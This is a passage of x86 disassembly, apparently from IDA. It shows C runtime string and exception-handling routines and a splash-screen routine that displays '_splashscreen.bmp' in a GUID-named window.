		retn	8
sub_410000	endp


; =============== S U B	R O U T	I N E =======================================



sub_41005D	proc near		; DATA XREF: _4:004212E0o
		mov	esi, [ebp-1Ch]
sub_41005D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_410060	proc near		; CODE XREF: sub_410000+47p
		add	esi, 10h
		push	esi
		call	ds:dword_421018	; RtlLeaveCriticalSection
		retn
sub_410060	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41006B	proc near		; CODE XREF: sub_413186+9Bp
					; sub_413186+C4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_4]
		push	edi
		test	edx, edx
		jz	short loc_41007D
		mov	edi, [ebp+arg_0]
		test	edi, edi
		jnz	short loc_410081


loc_41007D:				; CODE XREF: sub_41006B+9j
		xor	eax, eax
		jmp	short loc_4100D3
; ---------------------------------------------------------------------------


loc_410081:				; CODE XREF: sub_41006B+10j
		cmp	byte ptr [edx],	0
		jnz	short loc_41008F
		xor	eax, eax
		cmp	[edi], al
		setz	al
		jmp	short loc_4100D3
; ---------------------------------------------------------------------------


loc_41008F:				; CODE XREF: sub_41006B+19j
		push	ebx
		push	esi
		mov	esi, offset dword_423BBC
		mov	eax, edi


loc_410098:				; CODE XREF: sub_41006B+49j
		mov	bl, [eax]
		mov	cl, bl
		cmp	bl, [esi]
		jnz	short loc_4100BA
		test	cl, cl
		jz	short loc_4100B6
		mov	bl, [eax+1]
		mov	cl, bl
		cmp	bl, [esi+1]
		jnz	short loc_4100BA
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_410098


loc_4100B6:				; CODE XREF: sub_41006B+37j
		xor	eax, eax
		jmp	short loc_4100BF
; ---------------------------------------------------------------------------


loc_4100BA:				; CODE XREF: sub_41006B+33j
					; sub_41006B+41j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_4100BF:				; CODE XREF: sub_41006B+4Dj
		pop	esi
		pop	ebx
		test	eax, eax
		jnz	short loc_4100CA
		mov	edi, offset dword_423BB8


loc_4100CA:				; CODE XREF: sub_41006B+58j
		push	edx
		push	edi
		call	sub_4100D6
		pop	ecx
		pop	ecx


loc_4100D3:				; CODE XREF: sub_41006B+14j
					; sub_41006B+22j
		pop	edi
		pop	ebp
		retn
sub_41006B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100D6	proc near		; CODE XREF: sub_41006B+61p
					; sub_4100D6+70p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, [ebp+arg_4]
		mov	al, [ebx]
		push	edi
		test	al, al
		jz	short loc_410120


loc_4100E8:				; CODE XREF: sub_4100D6+48j
		movsx	edi, byte ptr [esi]
		movsx	eax, al
		inc	ebx
		cmp	eax, 2Ah
		jz	short loc_410130
		cmp	eax, 3Fh
		jz	short loc_410115
		push	eax
		call	sub_41072E
		mov	edx, eax
		push	edi
		mov	[ebp+arg_4], edx
		call	sub_41072E
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_4]
		cmp	eax, ecx
		jnz	short loc_41012C
		jmp	short loc_410119
; ---------------------------------------------------------------------------


loc_410115:				; CODE XREF: sub_4100D6+21j
		test	edi, edi
		jz	short loc_41012C


loc_410119:				; CODE XREF: sub_4100D6+3Dj
		mov	al, [ebx]
		inc	esi
		test	al, al
		jnz	short loc_4100E8


loc_410120:				; CODE XREF: sub_4100D6+10j
		xor	eax, eax
		cmp	[esi], al
		setz	al


loc_410127:				; CODE XREF: sub_4100D6+58j
					; sub_4100D6+86j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41012C:				; CODE XREF: sub_4100D6+3Bj
					; sub_4100D6+41j ...
		xor	eax, eax
		jmp	short loc_410127
; ---------------------------------------------------------------------------


loc_410130:				; CODE XREF: sub_4100D6+1Cj
		xor	edi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_410142


loc_410137:				; CODE XREF: sub_4100D6+66j
		inc	edi
		cmp	byte ptr [edi+esi], 0
		jnz	short loc_410137
		test	edi, edi
		jl	short loc_41012C


loc_410142:				; CODE XREF: sub_4100D6+5Fj
		add	esi, edi


loc_410144:				; CODE XREF: sub_4100D6+7Fj
		push	esi
		push	ebx
		call	sub_4100D6
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410159
		dec	edi
		dec	esi
		test	edi, edi
		jge	short loc_410144
		jmp	short loc_41012C
; ---------------------------------------------------------------------------


loc_410159:				; CODE XREF: sub_4100D6+79j
		push	1
		pop	eax
		jmp	short loc_410127
sub_4100D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41015E	proc near		; DATA XREF: sub_410253+36o

var_60		= dword	ptr -60h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		push	edi
		cmp	[ebp+arg_4], 0Fh
		jnz	loc_4101FF
		and	[ebp+var_20], 0
		xor	eax, eax
		lea	edi, [ebp+var_1C]
		stosd
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_20]
		push	eax
		push	18h
		push	ds:dword_4289B0
		call	ds:dword_424778	; GetObjectA
		lea	eax, [ebp+var_60]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_424770	; BeginPaint
		push	[ebp+var_60]
		call	ds:dword_424760	; CreateCompatibleDC
		mov	[ebp+var_8], eax
		push	ds:dword_4289B0
		push	[ebp+var_8]
		call	ds:dword_42477C	; SelectObject
		mov	[ebp+var_4], eax
		push	0CC0020h
		push	0
		push	0
		push	[ebp+var_8]
		push	[ebp+var_18]
		push	[ebp+var_1C]
		push	0
		push	0
		push	[ebp+var_60]
		call	ds:dword_424784	; BitBlt
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	ds:dword_42477C	; SelectObject
		push	[ebp+var_8]
		call	ds:dword_424768	; DeleteDC
		lea	eax, [ebp+var_60]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_424774	; EndPaint
		xor	eax, eax
		jmp	short loc_410211
; ---------------------------------------------------------------------------


loc_4101FF:				; CODE XREF: sub_41015E+Bj
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_42104C	; DefWindowProcA


loc_410211:				; CODE XREF: sub_41015E+9Fj
		pop	edi
		leave
		retn	10h
sub_41015E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410216	proc near		; DATA XREF: sub_410253+121o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_424788	; GetWindowThreadProcessId
		call	ds:dword_424668	; GetCurrentProcessId
		cmp	[ebp+var_4], eax
		jnz	short loc_41024C
		push	[ebp+arg_0]
		call	ds:dword_42478C	; SetActiveWindow
		push	[ebp+arg_0]
		call	ds:dword_424790	; SetForegroundWindow
		xor	eax, eax
		jmp	short locret_41024F
; ---------------------------------------------------------------------------


loc_41024C:				; CODE XREF: sub_410216+1Ej
		push	1
		pop	eax

locret_41024F:				; CODE XREF: sub_410216+34j
		leave
		retn	8
sub_410216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410253	proc near		; DATA XREF: sub_410386+3Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	edi
		mov	eax, [ebp+arg_0]
		mov	ds:dword_4289B0, eax
		and	[ebp+var_24], 0
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_24]
		push	eax
		push	18h
		push	[ebp+arg_0]
		call	ds:dword_424778	; GetObjectA
		mov	ds:dword_4289C0, 30h
		mov	ds:dword_4289C8, offset	sub_41015E
		mov	ds:dword_4289E8, offset	aCc7574e45e3947	; "{CC7574E4-5E39-4700-B286-269A82DD8E95}"
		push	0
		call	ds:dword_424698	; GetModuleHandleA
		mov	ds:dword_4289D4, eax
		push	offset dword_4289C0
		call	ds:dword_424794	; RegisterClassExA
		push	10h
		call	ds:dword_424798	; GetSystemMetrics
		mov	[ebp+var_C], eax
		push	11h
		call	ds:dword_424798	; GetSystemMetrics
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		push	0
		push	[ebp+var_1C]
		push	[ebp+var_20]
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_1C]
		cdq
		sub	eax, edx
		sar	eax, 1
		push	eax
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_20]
		cdq
		sub	eax, edx
		sar	eax, 1
		push	eax
		push	98800000h
		push	offset dword_424898
		push	offset aCc7574e45e3947 ; "{CC7574E4-5E39-4700-B286-269A82DD8E95}"
		push	0
		call	ds:dword_42479C	; CreateWindowExA
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ds:dword_4289B4, eax


loc_410313:				; CODE XREF: sub_410253+F9j
		push	0
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_40]
		push	eax
		call	ds:dword_4247A0	; GetMessageA
		test	eax, eax
		jz	short loc_41034E
		mov	eax, [ebp+var_40]
		cmp	eax, [ebp+var_4]
		jnz	short loc_410338
		cmp	[ebp+var_3C], 0
		jnz	short loc_410338
		jmp	short loc_41034E
; ---------------------------------------------------------------------------


loc_410338:				; CODE XREF: sub_410253+DBj
					; sub_410253+E1j
		lea	eax, [ebp+var_40]
		push	eax
		call	ds:dword_4247A4	; TranslateMessage
		lea	eax, [ebp+var_40]
		push	eax
		call	ds:dword_4247A8	; DispatchMessageA
		jmp	short loc_410313
; ---------------------------------------------------------------------------


loc_41034E:				; CODE XREF: sub_410253+D3j
					; sub_410253+E3j
		push	3E8h
		call	ds:dword_424714	; Sleep
		push	[ebp+var_4]
		call	ds:dword_4247AC	; DestroyWindow
		and	ds:dword_4289B4, 0
		push	[ebp+arg_0]
		call	ds:dword_424780	; DeleteObject
		push	0
		push	offset sub_410216
		call	ds:dword_4247B0	; EnumWindows
		xor	eax, eax
		pop	edi
		leave
		retn	4
sub_410253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410386	proc near		; CODE XREF: sub_418780+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	3
		push	80000000h
		push	offset a_splashscreen_ ; "_splashscreen.bmp"
		call	sub_414344
		test	eax, eax
		jz	short locret_4103E3
		push	[ebp+var_4]
		call	sub_418F16
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4103D9
		push	offset dword_4289B8
		push	0
		push	[ebp+var_8]
		push	offset sub_410253
		push	0
		push	0
		call	ds:dword_4247BC	; CreateThread
		push	64h
		call	ds:dword_424714	; Sleep


loc_4103D9:				; CODE XREF: sub_410386+30j
		push	0
		push	[ebp+var_4]
		call	sub_41473F

locret_4103E3:				; CODE XREF: sub_410386+1Ej
		leave
		retn
sub_410386	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103E8	proc near		; CODE XREF: sub_4104E0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_410400
		push	[ebp+arg_0]
		call	sub_410F00	; RtlUnwind


loc_410400:				; DATA XREF: sub_4103E8+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4103E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_410408	proc near		; DATA XREF: sub_41042A+Ao
					; _3:0041049Bo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_410429
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_410429:				; CODE XREF: sub_410408+10j
		retn
sub_410408	endp


; =============== S U B	R O U T	I N E =======================================



sub_41042A	proc near		; CODE XREF: sub_4104E0+67p
					; sub_4104E0+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_410408
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_410447:				; CODE XREF: sub_41042A:loc_410482j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_410484
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_410484
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_410482
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_4104BE
		call	dword ptr [ebx+esi*4+8]


loc_410482:				; CODE XREF: sub_41042A+44j
		jmp	short loc_410447
; ---------------------------------------------------------------------------


loc_410484:				; CODE XREF: sub_41042A+2Aj
					; sub_41042A+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41042A	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_410408
		jnz	short locret_4104B4
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_4104B4
		mov	eax, 1

locret_4104B4:				; CODE XREF: _3:004104A2j _3:004104ADj
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	ebx, offset dword_4243B8
		jmp	short loc_4104C8

; =============== S U B	R O U T	I N E =======================================



sub_4104BE	proc near		; CODE XREF: sub_41042A+4Fp
					; sub_4104E0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_4243B8
		mov	ecx, [ebp+8]


loc_4104C8:				; CODE XREF: _3:004104BCj
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_4104BE	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104E0	proc near		; DATA XREF: sub_410000+Ao
					; sub_410A10+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_410580
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_410513:				; CODE XREF: sub_4104E0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_410579
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_410567
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_410567
		js	short loc_410572
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4103E8
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41042A
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_4104BE
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_410567:				; CODE XREF: sub_4104E0+40j
					; sub_4104E0+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_410513
; ---------------------------------------------------------------------------


loc_410572:				; CODE XREF: sub_4104E0+54j
		mov	eax, 0
		jmp	short loc_410595
; ---------------------------------------------------------------------------


loc_410579:				; CODE XREF: sub_4104E0+36j
		mov	eax, 1
		jmp	short loc_410595
; ---------------------------------------------------------------------------


loc_410580:				; CODE XREF: sub_4104E0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41042A
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_410595:				; CODE XREF: sub_4104E0+97j
					; sub_4104E0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4104E0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41042A
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105C0	proc near		; CODE XREF: sub_413186+2Ap
					; sub_413272+FBp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_4105E1
		xor	eax, eax
		jmp	short loc_4105E3
; ---------------------------------------------------------------------------


loc_4105E1:				; CODE XREF: sub_4105C0+1Bj
		mov	eax, edi


loc_4105E3:				; CODE XREF: sub_4105C0+1Fj
		cld
		pop	edi
		leave
		retn
sub_4105C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105F0	proc near		; CODE XREF: sub_41553D+145p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_410621
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41061F
		jz	short loc_410621
		dec	ecx
		dec	ecx


loc_41061F:				; CODE XREF: sub_4105F0+29j
		not	ecx


loc_410621:				; CODE XREF: sub_4105F0+9j
					; sub_4105F0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_4105F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410630	proc near		; CODE XREF: sub_415B59+1AFp
					; sub_415B59+434p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_4106B3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_410654
		shr	ecx, 2
		jnz	short loc_4106C1
		jmp	short loc_410675
; ---------------------------------------------------------------------------


loc_410654:				; CODE XREF: sub_410630+1Bj
					; sub_410630+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_410682
		test	al, al
		jz	short loc_41068A
		test	esi, 3
		jnz	short loc_410654
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4106C1


loc_410670:				; CODE XREF: sub_410630+8Fj
		and	ebx, 3
		jz	short loc_410682


loc_410675:				; CODE XREF: sub_410630+22j
					; sub_410630+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_4106AE
		dec	ebx
		jnz	short loc_410675


loc_410682:				; CODE XREF: sub_410630+2Bj
					; sub_410630+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41068A:				; CODE XREF: sub_410630+2Fj
		test	edi, 3
		jz	short loc_4106A4


loc_410692:				; CODE XREF: sub_410630+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_410726
		test	edi, 3
		jnz	short loc_410692


loc_4106A4:				; CODE XREF: sub_410630+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_410717


loc_4106AB:				; CODE XREF: sub_410630+7Fj
					; sub_410630+F4j
		mov	[edi], al
		inc	edi


loc_4106AE:				; CODE XREF: sub_410630+4Dj
		dec	ebx
		jnz	short loc_4106AB
		pop	ebx
		pop	esi


loc_4106B3:				; CODE XREF: sub_410630+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4106B9:				; CODE XREF: sub_410630+A9j
					; sub_410630+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_410670


loc_4106C1:				; CODE XREF: sub_410630+20j
					; sub_410630+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_4106B9
		test	dl, dl
		jz	short loc_41070B
		test	dh, dh
		jz	short loc_410701
		test	edx, 0FF0000h
		jz	short loc_4106F7
		test	edx, 0FF000000h
		jnz	short loc_4106B9
		mov	[edi], edx
		jmp	short loc_41070F
; ---------------------------------------------------------------------------


loc_4106F7:				; CODE XREF: sub_410630+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41070F
; ---------------------------------------------------------------------------


loc_410701:				; CODE XREF: sub_410630+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41070F
; ---------------------------------------------------------------------------


loc_41070B:				; CODE XREF: sub_410630+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41070F:				; CODE XREF: sub_410630+C5j
					; sub_410630+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_410721


loc_410717:				; CODE XREF: sub_410630+79j
		xor	eax, eax


loc_410719:				; CODE XREF: sub_410630+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_410719


loc_410721:				; CODE XREF: sub_410630+E5j
		and	ebx, 3
		jnz	short loc_4106AB


loc_410726:				; CODE XREF: sub_410630+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_410630	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41072E	proc near		; CODE XREF: sub_4100D6+24p
					; sub_4100D6+2Fp ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_429054, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41075B
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4107F4
		cmp	eax, 5Ah
		jg	loc_4107F4
		add	eax, 20h
		jmp	loc_4107F4
; ---------------------------------------------------------------------------


loc_41075B:				; CODE XREF: sub_41072E+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41078F
		cmp	ds:dword_4245DC, esi
		jle	short loc_41077D
		push	esi
		push	ebx
		call	sub_410C5F
		pop	ecx
		pop	ecx
		jmp	short loc_410787
; ---------------------------------------------------------------------------


loc_41077D:				; CODE XREF: sub_41072E+42j
		mov	eax, ds:off_4243D0
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_410787:				; CODE XREF: sub_41072E+4Dj
		test	eax, eax
		jnz	short loc_41078F


loc_41078B:				; CODE XREF: sub_41072E+ADj
		mov	eax, ebx
		jmp	short loc_4107F4
; ---------------------------------------------------------------------------


loc_41078F:				; CODE XREF: sub_41072E+3Aj
					; sub_41072E+5Bj
		mov	edx, ds:off_4243D0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4107B3
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_4107BC
; ---------------------------------------------------------------------------


loc_4107B3:				; CODE XREF: sub_41072E+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_4107BC:				; CODE XREF: sub_41072E+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	ds:dword_429054
		call	sub_410A10
		add	esp, 20h
		test	eax, eax
		jz	short loc_41078B
		cmp	eax, esi
		jnz	short loc_4107E7
		movzx	eax, [ebp+var_4]
		jmp	short loc_4107F4
; ---------------------------------------------------------------------------


loc_4107E7:				; CODE XREF: sub_41072E+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4107F4:				; CODE XREF: sub_41072E+16j
					; sub_41072E+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41072E	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_410810


loc_410800:				; CODE XREF: sub_410810+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_410810
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410810	proc near		; CODE XREF: sub_41C106+AFp
					; sub_41C106+122p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00410800 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41083B


loc_410828:				; CODE XREF: sub_410810+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_410800
		test	cl, cl
		jz	short loc_410884
		test	edx, 3
		jnz	short loc_410828


loc_41083B:				; CODE XREF: sub_410810+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_410846:				; CODE XREF: sub_410810+61j
					; sub_410810+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_410888
		and	eax, 81010100h
		jz	short loc_410846
		and	eax, 1010100h
		jnz	short loc_410882
		and	esi, 80000000h
		jnz	short loc_410846


loc_410882:				; CODE XREF: sub_410810+68j
					; sub_410810+81j ...
		pop	esi
		pop	edi


loc_410884:				; CODE XREF: sub_410810+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410888:				; CODE XREF: sub_410810+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_4108C5
		test	al, al
		jz	short loc_410882
		cmp	ah, bl
		jz	short loc_4108BE
		test	ah, ah
		jz	short loc_410882
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_4108B7
		test	al, al
		jz	short loc_410882
		cmp	ah, bl
		jz	short loc_4108B0
		test	ah, ah
		jz	short loc_410882
		jmp	short loc_410846
; ---------------------------------------------------------------------------


loc_4108B0:				; CODE XREF: sub_410810+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4108B7:				; CODE XREF: sub_410810+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4108BE:				; CODE XREF: sub_410810+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
